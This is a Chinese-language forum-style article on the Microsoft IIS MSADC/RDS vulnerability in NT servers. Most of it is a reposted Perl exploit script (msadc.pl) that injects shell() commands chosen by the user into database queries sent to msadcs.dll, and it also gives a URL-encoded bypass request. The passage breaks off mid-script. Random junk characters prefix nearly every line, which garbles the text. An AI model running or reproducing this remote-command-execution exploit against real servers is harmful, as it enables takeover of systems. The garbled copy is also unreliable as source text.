IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
47T}0q, V=:_ d, 涉及程序:
pNE(n4v Microsoft NT server
~/tKMS6T }p9F#gr 描述:
sF+=KH 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
#DkD!dW(l ;bX4(CMe
& 详细:
H2-28XGc 如果你没有时间读详细内容的话,就删除:
oAZh~~tp c:\Program Files\Common Files\System\Msadc\msadcs.dll
te4= S
有关的安全问题就没有了。
VRW]a AP\ofLmq 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
v1.q$ f^( vG2b:[W 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
<39!G7ny 关于利用ODBC远程漏洞的描述,请参看:
lKEa)KF[ Y#01o&f0n http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 8 )\M:s~7& qOG}[%<^n7 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
[W,-1.$!dM http://www.microsoft.com/security/bulletins/MS99-025faq.asp n|4;Hn1V r++i=SQax 这里不再论述。
:<~7y.*O{ ~mN%(w!^ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
)J3kxmlzQ ".~{:= /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
qsg>5E 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
!)Rr]
~ [Id}4[={e IGAzE( #将下面这段保存为txt文件,然后: "perl -x 文件名"
n`;R pr& O:.,+,BH #!perl
T_OF7? #
,c)g,J9 # MSADC/RDS 'usage' (aka exploit) script
}o9Aa0$*$ #
]9S`[c$ # by rain.forest.puppy
S C_|A9 #
Ca $c; # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
RwTzz]
M # beta test and find errors!
5`E))?*"Pe \T-~JQVj use Socket; use Getopt::Std;
`HX3|w6W; getopts("e:vd:h:XR", \%args);
[D'Gr*5~{ 3LlU] print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
px9>:t[P 2go> if (!defined $args{h} && !defined $args{R}) {
f e
$Wu print qq~
o VB"f Usage: msadc.pl -h <host> { -d <delay> -X -v }
b5e@oIK -h <host> = host you want to scan (ip or domain)
uiBTnG" -d <seconds> = delay between calls, default 1 second
M'1HA -X = dump Index Server path table, if available
:nQp.N*p -v = verbose
RFG$X-.e -e = external dictionary file for step 5
"6I[4U"@ C 7nKk/r Or a -R will resume a command session
!g0cC.' XSB8z
~; exit;}
?(im+2 iY.eJlfH $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
KC&`x| if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
+|C[-W7Sw if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
:J(sXKr[C if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
{&nV4c$v $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
\/Ij7nD`l% if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
MMD<I6Iyv zd`=Ih2Wx if (!defined $args{R}){ $ret = &has_msadc;
~/`X*n& die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
?B4#f!X SQKt}kDbM print "Please type the NT commandline you want to run (cmd /c assumed):\n"
=2oUZjA . "cmd /c ";
D&[Z;,CHMA $in=<STDIN>; chomp $in;
FpkXOj?* $command="cmd /c " . $in ;
U7%28#@ 4=p@2g2"H if (defined $args{R}) {&load; exit;}
M g!ra" Y5jYmP< print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
If}lJ6jZ &try_btcustmr;
;1LG&h,K U4wpjHg print "\nStep 2: Trying to make our own DSN...";
i;lE5 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
&jJckT =FBIrw{w print "\nStep 3: Trying known DSNs...";
6f}e+ 80 &known_dsn;
)DZTB 1-$P0 print "\nStep 4: Trying known .mdbs...";
Tj,2r]g`< &known_mdb;
,ZK]i CGk b]`^KTYK if (defined $args{e}){
Jqg3.2q print "\nStep 5: Trying dictionary of DSN names...";
aW@oE
~` &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
PqhlXqX9 A ^B@VuK print "Sorry Charley...maybe next time?\n";
s -Y +x exit;
A!;meVUs MCAXt1sL&E ##############################################################################
Wg1tip8s #Si|! sub sendraw { # ripped and modded from whisker
3Hm7
uBZ sleep($delay); # it's a DoS on the server! At least on mine...
caD5Pod4 my ($pstr)=@_;
,35Ag#va socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
zPQ$\$7xB die("Socket problems\n");
om7`w
] if(connect(S,pack "SnA4x8",2,80,$target)){
D9ywg/Q91 select(S); $|=1;
bhKV +oN print $pstr; my @in=<S>;
slSR=XOG select(STDOUT); close(S);
%UmbDGDWI return @in;
lCE2SKj
} else { die("Can't connect...\n"); }}
h>tsis'N9 FR' b`Xv: ##############################################################################
_5h0@^m7y p#M!S2&z sub make_header { # make the HTTP request
3o7xN=N my $msadc=<<EOT
B&nw#saz. POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Ai jUs*n 2 User-Agent: ACTIVEDATA
:bw6 k Host: $ip
3"B+xbe= Content-Length: $clen
'
C6:e?R Connection: Keep-Alive
U$$3'n 8DT@h8tA ADCClientVersion:01.06
?zE< Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
4[H,3}p9H jf7pl8gv --!ADM!ROX!YOUR!WORLD!
Y\>\[*.v Content-Type: application/x-varg
!47A$sQ
Content-Length: $reqlen
'WzUu MCx ;8EjjF [> EOT
)]]|d ; $msadc=~s/\n/\r\n/g;
U$EM.ot return $msadc;}
<tQXK; 83xd@-czgh ##############################################################################
z9fNk% n8?KSQy$ sub make_req { # make the RDS request
Hf.xd.Yw my ($switch, $p1, $p2)=@_;
7 FIFSt my $req=""; my $t1, $t2, $query, $dsn;
,^!Zm^4, />!!ch if ($switch==1){ # this is the btcustmr.mdb query
9rWLE6` $query="Select * from Customers where City=" . make_shell();
*lY+Yy( $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
)x9]xqoR $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
iDR6?f P oP,RlR elsif ($switch==2){ # this is general make table query
Ebbe=4 $query="create table AZZ (B int, C varchar(10))";
]kH}lr
yG $dsn="$p1";}
;<VR2U` i/M+t~ elsif ($switch==3){ # this is general exploit table query
"9u-lcQ\
$query="select * from AZZ where C=" . make_shell();
67,3i~ $dsn="$p1";}
m^c%]5$ KY8^BjY@ elsif ($switch==4){ # attempt to hork file info from index server
=jBL'|k5 $query="select path from scope()";
~W/}:;
$dsn="Provider=MSIDXS;";}
Bx%=EN5. eAU"fu6d elsif ($switch==5){ # bad query
<M`-`v6H $query="select";
"j
+v,js $dsn="$p1";}
Q+/R
JM?3@ hF9B?@n?B $t1= make_unicode($query);
1S^'C2/b $t2= make_unicode($dsn);
,^M]yr*~ $req = "\x02\x00\x03\x00";
Q{`@
G"' $req.= "\x08\x00" . pack ("S1", length($t1));
`lvh\[3^ $req.= "\x00\x00" . $t1 ;
sV&`0N $req.= "\x08\x00" . pack ("S1", length($t2));
&8juS,b $req.= "\x00\x00" . $t2 ;
uq]iMz> $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
4=UI3 2v3 return $req;}
w8U2y/:> <xC:Ant ##############################################################################
-D$3!ccX F1/6&u9I sub make_shell { # this makes the shell() statement
4g S[D return "'|shell(\"$command\")|'";}
7!mJhgGc a'm!M:w ##############################################################################
Age-AJ - =yTAx sub make_unicode { # quick little function to convert to unicode
DwT i_8m; my ($in)=@_; my $out;
\v.HG]
/u for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
_82<|NN: return $out;}
IZ|c<#r6 dV$3u"9 ##############################################################################
"C?:T'dW rkbl/py sub rdo_success { # checks for RDO return success (this is kludge)
G)jG!`I my (@in) = @_; my $base=content_start(@in);
[6oq## if($in[$base]=~/multipart\/mixed/){
IBzHR[#,^ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
O5c_\yv= return 0;}
jDFp31_X J,6!7a ##############################################################################
Bfu/9ad
>_n:_ sub make_dsn { # this makes a DSN for us
4b]IazL) my @drives=("c","d","e","f");
9F/|` print "\nMaking DSN: ";
1g+LF[*-~ foreach $drive (@drives) {
(tgEa{rPAP print "$drive: ";
WvIK=fdZ$ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
x0y%\ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
cvn-*Sj . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
(}VuiNY<